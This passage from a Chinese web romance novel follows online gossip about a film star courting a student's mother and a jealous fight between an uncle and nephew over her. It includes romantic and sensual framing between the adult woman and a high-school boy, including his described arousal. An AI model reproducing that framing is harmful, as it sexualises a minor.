顾星延的粉丝们尤其生气——可恶啊,他们刚接受了姜以柔这个嫂子,现在竟然有野男人把嫂子抢走了?! 哪个混蛋敢绿她们哥哥?!看我们不骂死他! 这一次,不等舆论开始发酵,仅仅过了不到十分钟,顾星延就立刻在社交媒体上回应了。 @顾星延:是我对姜小姐一见钟情,并单方面追求她。她没有任何过错,请不要伤害她。 顾星延的这份声明说明了两件事: 第一,他并没有跟姜以柔在一起,目前只是在追求阶段,还没追到手。 第二,另外那个搂着姜以柔腰的男人,应该才是正牌男友。 不得不说,顾星延很有担当,他把姜以柔摘得干干净净,将所有事情揽在了自己一个人身上。 哪怕这会让他处于风口浪尖,哪怕可能会对他的声誉造成毁灭性打击,他也依旧这么做了。 这份声明一出,所有营销号瞬间沸腾了! #好消息:顾影帝并未被绿!坏消息:他只是去做小三啦~# #惊!国际影帝/天王顾星延竟然为爱甘当小三!!!# #为爱插足!顾影帝能否挤走正宫男,抱得美人归?!# 各种博眼球的标题刷爆了网络,各大APP的服务器都差点瘫痪,颇有种全民吃瓜的盛况。 其中最崩溃的是顾星延的粉丝。 他们刚接受了男神恋上高中生娃妈的事实,结果又一个晴天霹雳降临—— 他们哥哥竟然是个小三?! 不对,是还没上位的小三…… 啊啊啊啊!(╯‵□′)╯︵┻━┻ 正常来说,按照这个社会对“小三”的敌视,娱乐圈里任何一个明星如果被爆出插足别人感情的丑闻,那对他的事业将会是毁灭性的打击。 就像前几年有一个风头正盛的流量小生,在他最红的时候,突然爆出他曾为了资源傍富婆,而那位富婆是有家室的。 富婆的丈夫亲自出面甩了他插足的实锤,引发了大众的一片骂声。 自那之后,那位流量小生的粉丝跑光了,也接不到什么工作,慢慢的便销声匿迹——糊透了。 而被爆出当小三的女明星只会被骂得更惨。 这一次,在顾星延当小三的消息刚被爆出来的时候,圈内一些看不惯他的人都非常之激动。 俗话说,一鲸落万物生。如果顾星延能倒台,那么他身上的各种代言、资源能喂饱大半个娱乐圈的男明星。 当然,顾星延本身就是资本,仅凭这点道德瑕疵,很难让他伤筋动骨。但能让他狼狈一点儿也好,娱乐圈从来不缺落井下石和看笑话的人。 然而,大众对于这件事的反应极其反常,近乎到了诡异的程度…… 第103章 在看到顾星延的“澄清”后, 大众的反应都怪怪的。 【所以……顾星延你承认你知三当三了是吧?!】 【哟~一见钟情!哟~单方面追求!顾哥,你一个寡王突然变情圣,我还真有点不习惯了!】 【别人当三, 自甘下贱;朋友当三,别被发现;顾哥当三,倾城之恋!】 【如果是给姜以柔小姐姐当小三的话……顾星延你给我起开这小三你当得明白吗换我来伺候姐姐!】 【我从来不认为自己会理解那些做小三的人, 但此时此刻, 我理解顾星延,真的……】 【我只能说, 爱上姜以柔,人之常情。】 …… 看着网上的舆论风向,很多人都哭笑不得。 请问, 为什么做小三这种缺德事, 发生在顾星延和姜以柔的身上时,大家突然又能理解他们了?! 大家面对长得好看的人,都这么没有原则的吗?! 其实一般情况下并不会如此,只是……姜以柔是不一般的美貌。 【如果给我一个机会, 我也不会管姜以柔有没有对象, 挖墙脚就完事了!】 【顾星延挥锄头的速度不够快啊,凭你天王的魅力,竟然到现在还没能上位?你写那么多情歌有啥用?唱给她听啊!】 【但不得不说, 顾星延真的蛮勇的,竟然就这么跟正宫对上了!】 【毕竟是天王嘛, 魅力没得说啊, 其他男人在他面前只有自卑的份儿吧,底气足得很。】 【虽然正宫哥只露了个侧脸,但看得出来特别帅啊!而且长得好高, 身材也特别好!感觉不输顾星延啊!】 【有人注意到姜姐姐左手无名指上的大钻戒了吗?呜呜呜她不会已经跟正宫哥修成正果了吧?不要啊!】 【话说,有没有人知道那位惨遭挖墙脚的正宫是谁啊?】 【只有我嫉妒正宫哥吗。他凭什么可以拥有姜以柔,凭什么……】 …… 在网友们的努力下,很快“正宫哥”的身份便被扒出来了。 方隐年,高高在上的方氏集团掌权人,年轻时出家信佛的经历更给他蒙上了一层传奇色彩。 随着方隐年越来越多的信息和经历被扒出,他的关注度也陡然上升了,这则新闻的热度再次攀升到了不可思议的境地。 【请问这就是传说中的京圈佛子吗?】 【完了,顾哥,虽然我是你的粉丝,但我觉得你不一定能争得过他……】 【这两个男人都好绝啊!羡慕姜姐姐,吃的太好了……QAQ】 【应该是这俩男的占便宜吧!能跟那么漂亮的人在一起……】 【佛子VS大明星,这场正宫和小三之间的对决,谁会胜出呢?!好想知道以柔姐姐会选谁啊!】 【建议统统笑纳!!!】 …… 这件事闹得沸沸扬扬,几乎到了全民吃瓜的程度。 一个孩子都上高中了的女人,居然能让俊美多金的大明星动心,甚至心甘情愿拿着爱的号码牌,不惜当众承认自己是小三…… 简直像是神话一般,不可思议! 但是,每一个觉得此事荒谬的人,在看过圣维尔学院的校庆直播回放,亲眼见证了姜以柔的美貌后,原本不敢置信的心情瞬间变成了理解。 如果是长成这个模样的高中生娃妈……那大明星为爱做三就不奇怪了。 别说顾星延了,连他们都有点蠢蠢欲动…… 顾星延的粉丝恐怕是心情最为复杂的。他们刚接受了姜以柔这个“嫂子”,结果最后却发现,他们哥哥根本没谈到这么美的嫂子…… 最后,顾星延的粉丝竟然开始卖力推销起他们哥哥。 【姜姐姐,麻烦认真考虑下我们顾哥吧!他长得帅又有钱,不比那位方总差的,您也该换换口味了吧~】 【别的不说,我们顾哥比方总年轻呢!姜姐姐,男人还是得选年轻的啊!】 【我是顾星延的站姐,我作证他这么多年私生活一直很干净,绝对还是个处男!娱乐圈的处男多稀有不用我多说了吧?请姜姐笑纳!】 【顾星延,我就要这个嫂子,请你再努力努力,谢谢。】 【嘿嘿,我要跟顾哥抢嫂子,嘿嘿……】 顾星延的粉丝原本对于自家男神谈恋爱这件事反应激烈,不知道发了多少疯,现在却画风突变,让人咋舌。 偶尔还有不成熟的小妹妹依旧胡闹,言语间太过放肆,却先被粉圈其他人摁下去了。 这世上还是正常人居多的。顾星延已经27岁了,虽然这么多年没谈过恋爱,但不代表他会一辈子单身,他们粉丝早该做好心理准备。 况且,如果真正喜欢一个人,不更应该希望他得到幸福吗? 退一万步讲,顾星延并不是流量明星,他制霸娱乐圈这么多年,靠的是那一首首大爆曲,靠的是那一座座影帝奖杯,他靠的是实力,而不是饭圈。 所以,最初的混乱过后,绝大部分粉丝都选择了祝福。 当然主要是因为姜以柔长得太美了…… 网络上因为这位横空出世的大美人而掀起了滔天巨浪,久久不能平息。 不仅网络上到处流传着姜以柔的美貌传说,他们的现实生活也受到了不小的影响。 首当其冲的就是姜渔。 校庆结束后,她刚一回到教室,就被人围了个水泄不通,全都是其他班的学生。 “姜渔同学,我可是从来没在论坛上说过你坏话的,相反,我一直很欣赏你的坚韧和优秀,所以我们能做朋友吗?” “姜渔,你别听他鬼扯,他有个论坛小号,是骂你骂得最起劲儿那个!” “姜渔,能告诉我你妈妈喜欢什么吗?” “姜渔,顾星延真的在追你妈妈吗?那方总怎么办呀?你妈妈会选谁啊?” “我觉得姜姐姐谁都不应该选!他完全可以等我成年……” “卧槽,你要不要脸,滚啊!” 学生们一窝蜂地涌入2班教室,几乎快盛不下了,这么多人聚在一起七嘴八舌,简直像是菜市场。 姜渔面无表情,已经被吵得麻木了。 不过,她倒是有点习惯了这种众星捧月的架势,因为当初她妈妈来参加过家长会后,他们班的同学也是这样一幅没出息的殷勤模样。 现在2班学生的狗腿症状已然扩散到全校了…… 而姜渔的心情竟然很平静,大概是已经习惯了。 2班的学生们硬生生被一群外班的人挤到了最边上,气得直瞪他们。 他们一个个阴阳怪气道:“哟哟哟,也不知道之前是哪些人天天嘲讽我们没眼光,还看不惯我们对姜渔好,那你们现在是在干什么?脸不痛吗?” 外班的学生们被贴脸开大地嘲讽,却只能讪讪一笑,丝毫没有脾气。 他们也不在乎被打脸,只厚着脸皮笑道:“哎呀,都是误会,大家都是同学,别这么计较嘛!” “以前是我们太过分了,我们都会改的,姜渔同学,给我们一个补偿的机会吧……” 一些学生认真又诚恳地说道。 当姜以柔在校庆上笑着说起,她很为女儿感到骄傲时,不知为何,这群天之骄子突然就有些惭愧。 其实,他们不是不知道姜渔很优秀,能常年占据成绩榜第一的人,当然是优秀的。 只是傲慢和自大遮住了他们的眼睛,或许还有不愿意承认普通出身的人也能超过他们这群出身富贵的人,所以,他们一直不愿意承认姜渔的优秀,还怀着卑劣的心思贬低她。 但是现在,回想起姜以柔那双温柔而包容的笑眼,他们真的为自己的卑劣感到无地自容。 他们想要补偿姜渔的心情绝对是真的! “姜渔,真的很对不起,怎么样你才肯原谅我们呢?”有人面带忐忑地问道。 姜渔淡淡地瞥他一眼,冷声道:“如果真心想要道歉,就请你们离我远一点,不要打扰我学习。” 众人闻言面面相觑,有些颓废地垮下了肩膀,但依旧厚着脸皮站在原处,根本舍不得离开,只眼巴巴地看着姜渔,似乎希望她能心软。 2班的学生忍不住嘲讽道:“一群墙头草,难怪姜渔不肯原谅你们。” 其他班的人恼羞成怒反击道:“呸!说得跟你们多高尚一样,你们不也是见过姜阿姨后才转变的态度!” “就是,说到底都怪你们,家长会的时候怎么不知道拍张照片啊?要是我们早知道姜阿姨这么漂亮,才不会说得那么过分呢……” “说起照片,嘿嘿,校庆的时候我给姜阿姨拍照了,原相机都掩不住的美貌,绝了!” “卧槽,发我发我!我当时全程看呆了忘记了拍照……” “不发,这是我的珍藏!” “求你了发我!” “我也想要……” 姜渔低着头看书,将旁边的热闹尽收耳中,她眸底不由得掠过一丝无奈。 她下意识地抬眸,视线掠过人群,却并没有找到熟悉的身影。 那个总是紧紧围绕在她身边,叽叽喳喳吵得厉害的女孩…… 姜渔微微一怔,握着笔的手不由得紧了紧。原来不知不觉间,她已然习惯了乐柠的陪伴。 但想到两人之间错综复杂的关系,姜渔的神情一时间有些失落。 或许她们注定不能成为朋友。 姜渔微垂着眼眸,有些出神,这时,又有外班的学生压抑不住八卦之心,凑上前神秘兮兮地问道:“小渔,你妈妈到底跟方总还是顾星延在一起了?” “是啊是啊,她到底会选谁啊?” “天啊,要是方总和顾哥一起喜欢我,我也不知道该怎么选!” “嘁,你又没长着姜阿姨那张脸,就别做这些白日梦了!” “啧,幻想一下都不行啊?” 姜渔被他们缠得没办法,很是不耐烦地敷衍道:“我不知道。” 这时,突然有人问道:“小渔,你更倾向于谁做你的后爸啊?” “对啊对啊,你是什么意见呢?姜阿姨肯定会考虑到你的感受吧!” 闻言,姜渔愣了愣,眸光不由得闪烁了两下。 姜以柔……她会考虑自己的意见吗? 姜渔攥着笔的手不由得紧了紧,紧抿的唇瓣泄露了她不安的心绪。 其实,对于姜以柔找男朋友这件事,姜渔从来没有表现出任何不满,甚至是一副很支持的模样,但她内心里却有很多忧虑。 比如,她如果组建了新的家庭,会不会觉得自己是拖累。 又比如,她的新丈夫会不会看她不顺眼。 甚至,她会不会再生一个新的孩子…… 姜渔午夜梦回间,时不时就会被噩梦吓醒,而噩梦的内容,无一例外都是自己被姜以柔抛弃。 姜渔微微有些出神。 如果姜以柔真的愿意考虑她的意见,那她是不是可以存着点私心,为自己选个合适的后爸…… 一个不会嫌弃她的后爸。 她真的不是想干预姜以柔的个人感情,她就是……有点没安全感。 她的同学们仍在锲而不舍地追问: “方总和顾星延,你妈妈到底会选谁啊?” 姜渔的脑海里也不由得开始琢磨起来: 这两个人,选谁当后爸比较好呢…… 正当姜渔的思绪一团乱麻时,周围突然诡异地安静下来,随即响起一道幽沉冰冷的男声: “这两个人,她谁都不会选。” 姜渔愣愣地循声望去,就见方镜麒阴沉着脸大步而来。 少年身高腿长,校服松松垮垮地挂在身上,配着那头刺刺的短寸,俨然一个不学无术的校霸。 他的五官英俊得近乎凌厉,那双狭长的凤目因愤怒而微微眯起,更显得锋锐摄人,让人胆寒。 方镜麒一靠近,刚才热闹得跟菜市场一般的教室瞬间鸦雀无声,众人默契地后退两步,小心翼翼地给校霸让了条道儿。 方镜麒本就因为网络上那些关于姜以柔和两个男人的讨论而心情极差,现在回到教室,还要听一群人八卦姜以柔会选哪个男人,他只觉得心里邪火直冒,连带着脸色也极其难看。 一群高中生只偷偷瞥了眼他沉冷的面色,便被那股煞气吓得心惊胆战。 方镜麒站定在姜渔的书桌前,环视了圈那群八卦的学生,冷哼道:“姜以柔跟那两个男人没有任何关系,谁再敢乱说……” 方镜麒一声冷哼,成功把这群人吓得四散飞逃,再也不敢围着姜渔八卦了。 不过,这群学生临走前都不由得犯嘀咕,怎么感觉方大少在提起姜阿姨的时候,态度怪怪的呢…… 众人彼此交换了个眼神,细细琢磨一番,突然间心里一惊—— 卧槽,方大少这表现……像是也喜欢姜阿姨啊?! 难道他之所以对姜渔特殊……是把她当闺女看了?! 这这这……方家叔侄相争,喜欢上了同一个女人?这未免也太刺激了! 大家一脸惊叹,忍不住避着方镜麒偷偷交流起这个新鲜大瓜。 教室里,方镜麒依旧面色阴寒,但在面对姜渔时,他稍微收敛了一些,沉声说道:“走吧。” 姜渔疑惑地反问道:“去哪儿?” 方镜麒瞪她一眼,“都放学了,当然是回家了!” 姜渔皱着眉头想要拒绝:“我想再做会儿题,你先回去吧……” 方镜麒不耐烦地“啧”了一声,直接拎起她的书包,冲她扬了扬下巴,“少废话,赶紧走。” 姜渔嘴角微抽,最后没办法,还是跟上了他的脚步。 路上,姜渔探究地打量着方镜麒,见他虽然皱着眉头一脸不爽,但情绪还算稳定,不由得有些稀奇。 这位大少爷不是最任性跋扈了吗?尤其是事关姜以柔时,更是一点就炸。 可今天,姜以柔和他叔叔以及那个明星的事在网上传得沸沸扬扬的,他居然还这么冷静?真是不敢相信。 这时,方镜麒察觉到了她古怪的目光,不由得瞥了她一眼,不悦地问道:“看我做什么?” 姜渔最近跟他也算熟悉了不少,沉默片刻后,干脆直接问道:“对于我妈跟那两个男人的事情……你怎么看?” 方镜麒一副满不在乎的模样,“嘁”了一声,犀利点评道:“两个小丑。” 姜渔:“……?” 方镜麒的右臂依旧吊在胸前,他左手插着兜,神情颇为放松,无所谓地说道:“反正他们只是在追求姜以柔而已,又没有追到手。” “我还有机会,跟他们公平竞争呗。”方大少坦坦荡荡地说道。 方镜麒的想法很简单——姜以柔长得那么漂亮,有很多人追是再正常不过的,他没必要个个都盯着。 在方镜麒心里,恐怕只有跟姜以柔“求婚”了的谢凛威胁最大。 至于他小叔……呵呵,老闷骚一个,还特别爱端着那副出家人的架子,估计这辈子都上不了桌。 至于那个明星,就更不用提了,娱乐圈那么乱,谁知道那货还干不干净?姜以柔不会要他的。 综合考量下来,方大少很自信地认为,他的胜算还是挺大的。 方镜麒很淡定,却没有注意到姜渔越发古怪的眼神。 姜渔又想起了方隐年特意给她发的那条消息,在她和方镜麒去待客室找寻姜以柔无果时,姜以柔正和方隐年呆在一起。 姜渔的眼神不由得飘忽了一瞬。 你小叔真的没追到吗…… 姜渔定了定心神,有些不自然地清了清嗓子。 不管怎么样,这件事最好还是先瞒着这位大少爷吧。 姜渔就这么胡思乱想着,不知不觉就走到了自家门口。 直到这时,她才后知后觉地反应过来,眼睛瞪着方镜麒,质问道:“你怎么也跟着我回家了?” 方镜麒扬了扬眉,十分理直气壮地说道:“你还要给我补课呢,别想偷懒。” 姜渔:“……” 姜渔死鱼眼瞪着他,最后还是无语地回过身,径直开了门。 然而,房门刚一打开,她就瞬间傻了眼。 屋里,她妈正和方镜麒的小叔抱在一起,亲嘴…… 姜渔浑身僵硬地立在原地,久久回不过神来。 方镜麒正懒散地倚在墙面上,并未看见屋内的景象,他见姜渔一直不动弹,觉得有些奇怪,问道:“你愣着干嘛?” 说着方镜麒便迈开长腿,皱眉疑惑地走向门口。 姜渔瞬间冷汗就下来了。 第104章 在方镜麒即将走到门口, 将屋内的暧昧一幕尽收眼底之前,姜渔猛地回过神来。 哪怕她已经竭力保持镇定,但终究还是太年轻了, 眉眼间泄露出了她的慌张无措。 她脑海里只剩下一个念头——那就是一定要帮姜以柔瞒着。 姜渔立刻想要将大门关上,隔绝方镜麒发现的可能。 然而,方大少凤眸微眯, 似乎从她反常的反应中察觉到了什么。 方镜麒迅疾出手, 修长的手一把握住了门边,硬生生挡住了姜渔关门的动作。 方镜麒脸上漫不经心的表情缓缓收敛, 凝结成一片冰冷,他居高临下地睨了姜渔一眼,沉着脸迈步, 便要往屋内走去。 方镜麒那凌厉锋锐的眼神让姜渔身体一僵, 冷汗都冒出来了。 这段时间方镜麒对她勉强称得上“和颜悦色”,让她差点忘了,这位大少爷是多么恶劣跋扈的性格。 此时他一个眼神,便让姜渔回想起了这位校霸的恐怖之处。 但姜渔还是硬着头皮挡住了他, 她试图找借口支开方大少, “那个……我突然想起来,我姥姥让我回家的时候顺便买瓶酱油。” 方镜麒浓黑的凤目中洇出冰冷的戾气,他唇角勾起一个嘲讽的弧度, 冷嗤道:“姜渔,你看我像个傻子吗?” 打酱油? 这破理由连小孩都不会信吧! 姜渔嘴角微抽, 一时间无言以对。 但哪怕心虚至此, 她还是紧紧抓着门把,用身体挡住门口,坚决不放方镜麒进门。 真要让大少爷进去撞见的话, 她有预感,他们家的房顶都会被掀了。 不管怎么说都是她把方镜麒带回来的……现在她得负责把这个雷排除! 然而,姜渔的这个反应,只会让方镜麒越发肯定—— 屋里肯定有什么见不得人的画面。 一想到某些可能,方镜麒眸色转厉,握着门边的手青筋暴突,整个人都像是即将爆炸一般。 “让开!”方镜麒沉声怒喝道。 他只能勉强忍住不对姜渔动手,但态度可就没那么好了。 姜渔当然不肯让开,可惜她忘记了——方镜麒足有一米八七的大高个,视线能轻松地越过她头顶,看到他想知道的一切。 方镜麒长腿一迈来到门口处,尽管姜渔已经很努力地试图关门,但他还是透过虚掩的门缝,隐隐约约地看到了屋内的场景。 姜以柔正坐在沙发上,微微俯下身体,而她面前正单膝跪着一个男人,两人靠得极近。 由于视野受限,方镜麒看不太清他们具体在做什么,但看他们之间极近的距离以及姜以柔微红的面颊,他们应该是……在接吻。 这一幕让方镜麒瞬间血涌上头,他猛地推开门冲了进去。 “你们在做什么?”方镜麒怒喝道。 * 校庆结束后,方隐年便送姜以柔回了家。 姜以柔一进屋就甩掉高跟鞋,光着脚走到沙发上坐下。 她蜷起双腿,纤秀的眉头微微蹙起,轻轻揉着自己的脚后跟。 穿了一整天的高跟鞋,她的脚都磨红了。 方隐年跟在她身后进屋,俯身将那双东倒西歪的高跟鞋放好,随即径直朝姜以柔走去。 很快,他便站定在姜以柔面前,高大的身形几乎将她眼前的光都遮盖了,投下一片阴影。 姜以柔抬头看着他,很是不客气地说道:“你还进来做什么?直接走吧。” 姜以柔现在一看到方隐年,就觉得浑身哪里都痛,她的小腹到现在还酸酸的,很难对他有好脸色。 方隐年垂眸静静地看着她良久,突然间单膝跪地,在她面前俯首。 姜以柔被他惊了一跳,条件反射地抱紧了双腿,蹙眉紧盯着他,似乎很怕他再乱来。 方隐年眉目平静,只是伸手握住了她的脚,在微微红肿的地方轻轻揉弄了起来。 方隐年手劲儿大,力度也恰到好处,很好的缓解了姜以柔脚上的酸痛感。 很快,她就舒服得微微眯起眼睛,像只慵懒的猫,倒是忘了再赶方隐年离开。 方隐年沉默地帮她揉脚,那只玉白的脚在他的大掌中显得那样小巧,他修长的手指轻抚过脚背上淡青的血管,灼热的指腹撩起细微的痒意,让姜以柔忍不住缩了缩脚趾。 那白嫩的脚趾似乎也勾起了方隐年心底的躁动,他的眸光骤然沉了下来。 这时,方隐年的手指不经意间擦过她脚背上一小道几不可见的伤痕。 方隐年微微一怔,瞬间回想起,这是他和方镜麒一同留宿在姜以柔家的那一晚留下的。 那天晚上暴雨倾盆,房间里突然停电,姜以柔摔碎了一个杯子,溅起的碎瓷擦伤了她的脚背。 那时候,他也是像现在这样,半蹲在她面前,轻轻地给她上药。 但那时候的他只能默默地听着姜以柔和谢凛在电话里调情,自己却没资格做什么。 但现在…… 方隐年抬起头,直勾勾地仰望着姜以柔。 视线从她潋滟勾人的眸子,下落到那微肿的红唇上。 方隐年喉结微滚,再也抑制不住那份渴望,欺身上前吻住了她的唇。 姜以柔皱了皱眉,似乎有些嫌弃方隐年动不动就亲上来,但她太累了,方隐年如果不太过分的话,她懒得反抗。 谢凛握着她的脚不断用力,唇舌也不忘了肆意掠夺,身上淡淡的檀香气将她牢牢包裹,在湿润的勾缠中不断烧灼、升温。 就在方隐年的手从她的脚踝抚到小腿,更进一步向上游移时,大门处突然传来了动静。 随即门口处隐约传来两个人的声音,一道属于方镜麒,一道属于姜渔。 姜以柔瞬间回神,立刻开始用力推拒着方隐年,眼睛也紧张地盯向门口的方向。 然而,方隐年这个混蛋竟然丝毫不在乎他侄子和她女儿就在外面,依旧按着她的后脑索取。 姜以柔浑身紧绷,本就被方隐年亲得缺氧,现在眼前一黑,差点晕过去。 姜以柔气急了,抬脚直接往他胸口处踹去。 然而,方隐年整个人硬得像铁一样,再加上她有些腿软,竟然根本踹不动他。 过了一会儿,方隐年才意犹未尽地松开她,薄唇却仍不舍地啄吻她柔嫩的唇瓣,旖旎而缠绵。 姜以柔察觉到他手劲儿微松,立刻用尽全力把他推开了,还顺带狠狠地瞪了他一眼。 与此同时,方大少的怒喝声也猛地响起—— “你们在做什么?!” 姜以柔立刻收敛了表情,从沙发上站了起来。 等到方镜麒一阵风似的冲到她面前时,她已经施施然站定,还优雅地挽了挽耳后的碎发,仿佛什么都没有发生过。 方镜麒紧紧盯着她,简直不敢相信之前见到的画面,那双狭长精致的凤眸因为愤怒而染上了血色,他连声音都在微微颤抖: “你、你们……” 方镜麒只觉得一颗心都要碎了。 姜以柔跟方隐年这个混蛋……什么时候亲密到能接吻的程度了?! 在他不知道的时候,到底发生了什么?! 方镜麒死死盯着她,呼吸急促,胸膛剧烈起伏着,像只濒临爆发的狼。 方隐年上前一步挡住了姜以柔,面色平静而坦然。 方镜麒的目光瞬间凝在他小叔的身上,迸射出几欲噬人的凶光。 就在这时,姜以柔开口了。 她先笑着对一脸愧疚的姜渔说道:“小渔,你回房间学习吧。” 姜渔迟疑地看了她一眼,似乎有些担心她的安慰。但她认真想了想,觉得方家叔侄哪怕打破头,也不会伤害她妈妈一根汗毛的,便放心地钻进了卧室。 等到客厅只剩下他们三个人的时候,姜以柔一本正经地对方镜麒说道: “方同学,你误会了,我跟你叔叔清清白白,刚才什么都没做。” 话落,空气里陷入死一般的寂静。 方隐年微微一怔,不由得摩挲了下手指。 他的指尖仿佛还残留着那微凉的柔软,舌尖也尽是她香甜的余味。 他们亲密至此,姜以柔竟然依旧嘴硬,说他们什么都没发生? 方隐年眸底泛起些许讽刺的意味。 姜以柔当然感受到了方隐年意味不明的注视,但她只淡然地微笑着,眸底却泛着冷光。 她知道,方隐年一定是故意的。 他不甘于只做一个“小三”,想要试探着宣示两人之间的关系,而第一步就是先让他的好侄子死心。 但是……姜以柔怎么可能让他得逞呢? 面对姜以柔的狡辩,方镜麒几乎被气笑了,“姜以柔,我不瞎!” 虽然他只透过门缝看到了一部分画面,但是……姜以柔和方隐年刚才的那个距离,绝不是她口中的清清白白! 姜以柔“啧”了一声,有些头疼地皱了皱眉头。 大少爷长脑子了,有点不好糊弄了。 不过,姜以柔对自己家的布局很了解,她可以断定,方镜麒哪怕看到了一些,但绝对没有看清全貌。 所以……可以再试着糊弄糊弄。 姜以柔眨了眨眼睛,轻轻叹气道:“好吧,我们确实接吻了。” 虽然方镜麒早就亲眼目睹那一幕了,但听到姜以柔承认的这一刻,他还是几乎气疯了。 “为什么?!”方镜麒愤怒得身体都在微微颤抖,眼眶都红了。 方隐年闻言则眸光微闪,但他还没来得及高兴于姜以柔的坦诚,下一秒又倏地沉了脸。 因为,姜以柔一本正经地继续道:“方同学,虽然我和你小叔接吻了,但你要相信,我们依旧是清清白白的。” 方隐年:“……” 方镜麒:“……” 大少爷难得有些愣怔,看起来他的世界观似乎受到了冲击。 姜以柔抿唇一笑,柔柔地说道:“今天在校庆上,方总帮我解决了点儿麻烦,我无以为报,就用一个吻来偿还了。” 闻言,方镜麒瞪圆了一双凤眸,脸憋得通红,半晌才怒道:“你胡扯的吧?” 姜以柔却一脸严肃地点头道:“千真万确。” 旁边,方隐年闭了闭眼睛,一脸隐忍地咬紧了牙关,似乎听不下去她的瞎话。 他真的很想当着方镜麒的面承认两人的关系,但是…… 想到她多情又无情的性格,以及那说扔就扔,什么都不在意的做派,方隐年还是死死压制住了那股冲动。 来日方长。 另一边,方镜麒气得差点儿咬碎了一口牙,也根本不相信她的鬼话,怒声道:“姜以柔,你别把我当小孩子糊弄!” “方隐年帮你什么了?至于让你亲他吗?”方镜麒死死瞪着她,又气又委屈。 “我当初为了救你女儿,手都断了,可你是怎么报答我的?我只是想吃你做的饭,你却还用别人做的饭来糊弄我!到了方隐年这儿,你倒是要用吻来报答他了……” 方镜麒是真的生气,也是真的难过。 他愤怒地瞪着姜以柔,面上一副凶狠的模样,实则眼眶都湿了。 为什么? 明明是他最先认识姜以柔的,可她为什么对其他男人都能那么亲近,对他却永远那么疏离? 他已经很努力想改变了…… 方镜麒胸膛剧烈起伏着,每一次呼吸都牵扯着心脏的痛意,他被愤怒冲昏了头脑,思绪一片混乱,很难冷静下来。 眼看着方镜麒在翻旧账,姜以柔被他吵得头疼。 她不由得幽幽地叹了口气,知道今天若是哄不好他,大少爷还不知道要闹到什么地步。 万一他把这件事再捅给谢凛,那就更麻烦了…… 姜以柔若有所思地眨了眨眼睛,干脆走到他面前,趁着两个男人都没反应过来的时候,踮脚在方镜麒脸颊上亲了一口。 然后,她笑眯眯地说道:“那我也亲你一下,行了吧?” 这一个吻,像是瞬间按下了方镜麒的暂停键,整个世界都安静了。 方镜麒怔怔地看着她,浑身僵硬,久久反应不过来。 他眼瞳剧颤,嘴唇张合几次,却一句话都说不出来。 他满腔汹涌的怒火,都因为这一个吻而凝固了。 姜以柔的手里似乎牵着他的缰绳,她总有办法轻而易举地制服他。 方大少表情有些恍惚,他嘴唇微动,半晌才憋出一句话:“你为什么亲方隐年的嘴,亲我却只亲脸?” 姜以柔有些意外地挑了挑眉梢,随即她再一次踮起脚,竟然真的要吻上方镜麒嘴唇的模样。 然而下一秒,一只大手蓦地捂住她的嘴巴,姜以柔随即便被箍进一个坚硬炙热的怀抱中。 方隐年捂着她的嘴巴将她揽进怀中,脸色沉如滴墨,嗓音更像是淬了冰: “别闹了。” 第105章 方隐年只一个闪神, 就眼睁睁看着姜以柔吻上了方镜麒的侧脸。 这一瞬间,方隐年只觉得胸中升腾而起的怒火几乎将他的理智都焚烧殆尽,面色阴沉得吓人。 偏偏姜以柔肆无忌惮, 竟然还要倾身去吻方镜麒的唇。 方隐年的身体凭借本能先一步做出了反应—— 他从身后捂住姜以柔的嘴巴,猛地将她箍进了怀中。 “别闹了。”方隐年几乎是从齿缝里挤出了几个字,语气森然。 他箍住姜以柔的手不断用力, 几乎压不住心中翻腾的戾气。 姜以柔被他从背后扣住, 娇小纤瘦的身体靠在那宽阔的胸膛上,显得格外柔弱堪怜。 她只露出一双潋滟妩媚的眼睛, 无辜地朝方镜麒眨了眨眼睛,似乎在说: 你看,是你小叔不让我亲你, 这次可不关我的事了。 方镜麒终于从恍惚中回过神来, 眯起眼睛冷冷地盯着他们。 姜以柔还穿着今天演讲时的那条深绿色绸缎长裙,细细的肩带勒在她清瘦的肩头,往下是诱人的起伏。 这条裙子熨帖而柔软,甚至隐隐透着流光, 穿在她身上浑然天成, 仿佛人鱼一般美得令人失语。 年轻的男孩根本受不住这样的美色冲击,呼吸瞬间急促起来。 他的脸颊甚至还残留着她嘴唇的柔软温热的触感,那股幽香也挥之不去, 方镜麒只觉得身体里有一把火烧得正旺,让他几乎无法控制自己。 刚才姜以柔作势要吻他的唇时, 方镜麒的心脏更是几乎跳出喉咙。 他无比期待, 也无比渴望。 然而,那个吻却被方隐年打断了。 方镜麒凤眸微眯,□□与妒火交织, 轻而易举地摧毁了年轻男孩的理智。 “我闹?”方镜麒一声冷嗤,语气森寒得几乎掉冰碴,“你特么刚才还跪在地上给她当狗呢,有什么资格教训我?” 话毕,方镜麒猛地冲上前,拳头直奔方隐年的面门。 按理来说,方隐年绝不会做跟侄子打架这种荒唐事的。 然而今天,他在硬生生挨了一拳后,竟然冷着脸用力回了他一拳。 那一拳头正好落在方镜麒被亲的那一边侧脸。 方镜麒不甘示弱,哪怕只有一只手能用,也像个狼崽子一般扑上去。 两人闹得凶狠,倒是不约而同地避过了姜以柔,没有伤到她分毫。 姜以柔看着缠斗在一起的叔侄俩,玩味地挑了挑眉。 很好,矛盾已经成功转移出去了,这下他们就不会来烦她了。 姜以柔懒散地打了个哈欠,施施然钻进了卧室,头也不回地说道:“打完了就赶紧走,别忘了关门。” 话音刚落,方隐年和方镜麒不约而同地住了手。 两人紧紧盯着她婀娜却无情的背影,神情几度变幻,这架却再也打不下去了。 姜以柔回到卧室之后,直接钻进浴室洗了个澡。 等她裹着浴巾携着一身水汽出来时,竟然看到方隐年就站在她的床边,看着床头柜发呆,面色沉冷。 姜以柔定睛一看,顿时了然。 床头上放着一盒计生用品,都快见底了,自然是她跟谢凛用的。 姜以柔也不在意,一边擦着头发一边随口问道:“你侄子呢?” 方隐年将目光从那盒计生用品上收回,落到她的身上,倏然一滞。 姜以柔只裹了条浴巾就出来了,只堪堪遮住了重点部位,半湿的长发披散在肩头,脸颊被热气熏红,浑身逸散着潮湿的妩媚,勾魂摄魄。 方隐年不期然想到了她床头那盒计生用品,隐忍地滚动了下喉结。 他一步一步走到她面前,接过她手上的毛巾,轻轻帮她擦着头发。 他嗅着她身上的幽香,嗓音有些发紧:“镜麒已经走了。” 姜以柔挑了挑眉,有点不敢相信大少爷会如此轻易地离开,不由得问道:“他是自愿走的吗?” 方隐年眸光微沉,面上带了丝冷意。 方镜麒当然不会自愿离开。 不过,也只是多费几个保镖的问题罢了。 不需要方隐年回答,姜以柔也猜得出发生了什么,忍不住玩味地轻笑出声。 